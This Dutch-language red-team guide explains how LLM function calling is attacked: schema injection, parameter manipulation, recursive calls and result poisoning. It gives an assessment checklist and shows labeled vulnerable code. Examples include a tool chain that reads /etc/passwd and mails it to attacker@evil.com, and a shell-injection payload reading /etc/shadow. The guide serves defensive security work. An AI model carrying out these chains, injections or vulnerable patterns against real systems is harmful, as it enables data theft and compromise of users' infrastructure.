Function-Calling-exploitatie

Overzicht van hoe function/tool calling van LLM's werkt, het aanvalsoppervlak dat het creëert, en systematische benaderingen voor het misbruiken van function-calling-interfaces in AI-systemen.

Function-Calling-exploitatie

Function calling -- ook wel tool use genoemd -- is het mechanisme waarmee LLM's met externe systemen interacteren. In plaats van vrije-tekstreacties te genereren, geeft het model gestructureerde JSON uit die een functienaam en parameters specificeert. Een orkestratielaag voert de functie uit en geeft de resultaten terug aan het model. Deze capaciteit transformeert een taalmodel van een tekstgenerator in een autonome agent, en elke functie die bij het model wordt geregistreerd, wordt een aanvalsoppervlak.

Hoe function calling werkt

De function-calling-pipeline heeft vier fasen, elk met afzonderlijke beveiligingsimplicaties:

Het function-calling-aanvalsoppervlak

Implementaties van aanbieders

Verschillende aanbieders implementeren function calling met variërende beveiligingskenmerken:

Aanvalsclassificatie

Function-calling-aanvallen vallen in vier categorieën, elk gericht op een andere fase van de pipeline:

1. Schema-injectie -- Het manipuleren van de functiedefinities zelf om modelgedrag te wijzigen. Het model behandelt schemabeschrijvingen als vertrouwde instructies, dus adversariële inhoud in beschrijvingen kan het gedrag over alle volgende aanroepen heen omleiden. Zie Schema Injection.

2. Parametermanipulatie -- Het opstellen van inputs die het model kwaadaardige parameterwaarden laten genereren. Type confusion, grensoverschrijdingen en injectie via parameterwaarden kunnen downstream-systemen compromitteren. Zie Parameter Manipulation.

3. Recursieve/oneindige aanroepen -- Het uitlokken van loops waarbij het model herhaaldelijk functies aanroept, waardoor middelen worden uitgeput of race conditions ontstaan. Manipulatie van de aanroepketen kan exponentiële functieaanroepen veroorzaken. Zie Recursive Function Calling.

4. Resultaatvergiftiging -- Het injecteren van adversariële inhoud in functie-retourwaarden om volgend modelgedrag te kapen. Aangezien resultaten direct in de context van het model worden gevoerd, zijn ze een krachtige indirecte-injectievector. Zie Result Poisoning.

Methodologie: function-calling-beveiliging beoordelen

1. 1

   Inventariseer het functieoppervlak

   Identificeer alle geregistreerde functies, hun beschrijvingen, parameterschema's en permissieniveaus. Bepaal welke functies data lezen versus data schrijven versus code uitvoeren. Breng het vertrouwensniveau van de uitvoer van elke functie in kaart.

2. 2

   Test schemamanipulatie

   Probeer functieselectie en -gedrag te beïnvloeden via adversariële inhoud in gebruikersberichten die schema-opmaak nabootst. Test of de applicatie schema's dynamisch genereert uit door de gebruiker gecontroleerde inhoud.

3. 3

   Onderzoek parametergrenzen

   Test voor elke functie type confusion (strings waar getallen worden verwacht), grenswaarden (extreem lange strings, negatieve getallen, speciale tekens) en injectiepayloads (SQL, command injection, path traversal) in parameterwaarden.

4. 4

   Test gedrag van de aanroepketen

   Verifieer of het model ertoe kan worden gebracht dezelfde functie herhaaldelijk aan te roepen, functies in onbedoelde volgorden aan te roepen, of functieaanroepen te genereren die naar andere functieaanroepen verwijzen.

5. 5

   Beoordeel resultaatafhandeling

   Injecteer adversariële instructies in functie-retourwaarden en observeer of het model ze opvolgt. Test of resultaten van functies met laag vertrouwen aanroepen naar functies met hoog vertrouwen kunnen beïnvloeden.

6. 6

   Evalueer orkestratiecontroles

   Bepaal of de orkestratielaag parameters valideert voor uitvoering, rate limits afdwingt, goedkeuringsworkflows implementeert voor gevoelige functies, en resultaten saneert voordat ze terug naar het model worden gevoerd.

Veelvoorkomende kwetsbare patronen

Verschillende implementatiepatronen leiden consequent tot function-calling-kwetsbaarheden:

Dynamische schemageneratie

Applicaties die functieschema's bouwen uit door de gebruiker gecontroleerde data (bijv. databasekolomnamen, beschrijvingen van API-endpoints) stellen aanvallers in staat adversariële inhoud direct in functiedefinities te injecteren:

# KWETSBAAR: Schema gebouwd uit door de gebruiker gecontroleerde databasekolomnamen
def build_schema(table_name):
    columns = db.get_columns(table_name)  # Door de gebruiker gecontroleerd
    return {
        "name": f"query_{table_name}",
        "description": f"Query the {table_name} table",
        "parameters": {
            col.name: {"type": col.type, "description": col.description}
            for col in columns  # Beschrijvingen kunnen injectie bevatten
        }
    }

Onbeperkte functieketening

Applicaties die het model onbeperkt functies laten aanroepen zonder menselijke goedkeuring maken escalatieketens mogelijk waarbij reads met lage privileges leiden tot writes met hoge privileges:

web_search("topic") -> read_file("/etc/passwd") -> send_email(to="attacker@evil.com", body=contents)

Ongevalideerde parameter-doorgifte

Applicaties die door het model gegenereerde parameters direct doorgeven aan systeemaanroepen zonder validatie zijn kwetsbaar voor klassieke injectie-aanvallen (SQL injection, command injection, SSRF) via de function-calling-interface:

# KWETSBAAR: Directe parameter-doorgifte
def search_files(query: str):
    return os.popen(f"grep -r '{query}' /data/").read()
    # Model kan genereren: query = "'; cat /etc/shadow; echo '"

Red-Team-checklist

Gebruik deze checklist bij het beoordelen van een function-calling-implementatie:

• Kunnen functieschema's worden beïnvloed door door de gebruiker gecontroleerde data?
• Worden parameterwaarden gevalideerd tegen hun gedeclareerde types en beperkingen?
• Is er een maximale aanroepdiepte of rate limit op functieaanroepen?
• Gaan functieresultaten door sanering voordat ze de modelcontext binnenkomen?
• Worden gevoelige functies afgeschermd achter menselijke goedkeuring of verhoogde authenticatie?
• Kan het model ertoe worden gebracht functies in onbedoelde volgorden aan te roepen?
• Logt de orkestratielaag functieaanroepen voor anomaliedetectie?
• Worden foutmeldingen van functies gesaneerd om injectie te voorkomen?

Verwante onderwerpen

• Schema Injection -- Het manipuleren van functiedefinities om modelgedrag te wijzigen
• Parameter Manipulation -- Het opstellen van kwaadaardige parameterwaarden
• Recursive Function Calling -- Uitputting van middelen via aanroep-loops
• Result Poisoning -- Het kapen van gedrag via retourwaarden
• MCP Tool Exploitation -- Verwante aanvallen op de tool-interface van het Model Context Protocol

Referenties

• OpenAI, "Function Calling" API documentation (2024)
• Anthropic, "Tool Use" API documentation (2024)
• Fang et al., "LLM Agents can Autonomously Exploit One-day Vulnerabilities" (2024)
• OWASP Top 10 for LLM Applications v2.0 -- LLM07: Insecure Plugin Design
• Debenedetti et al., "AgentDojo: A Dynamic Environment to Evaluate Attacks and Defenses for LLM Agents" (2024)